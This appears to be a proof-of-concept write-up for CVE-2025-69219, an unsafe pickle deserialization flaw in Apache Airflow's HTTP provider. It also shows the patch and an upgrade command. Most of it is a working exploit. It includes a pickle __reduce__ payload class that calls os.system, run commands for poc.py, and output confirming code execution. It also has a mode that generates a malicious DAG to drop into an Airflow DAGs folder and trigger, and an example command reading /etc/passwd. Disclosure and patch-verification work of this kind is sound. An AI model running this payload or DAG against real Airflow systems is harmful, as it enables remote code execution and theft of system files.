# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

# triggers/http.py (pre-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

# triggers/http.py (post-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON dict
})

# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

python poc.py
# or with a custom command:
python poc.py --cmd "whoami"

  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

# Generate a deployable DAG
python poc.py --mode dag --cmd "id"

# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc

python poc.py --show-payload --cmd "cat /etc/passwd"

pip install "apache-airflow-providers-http>=6.0.0"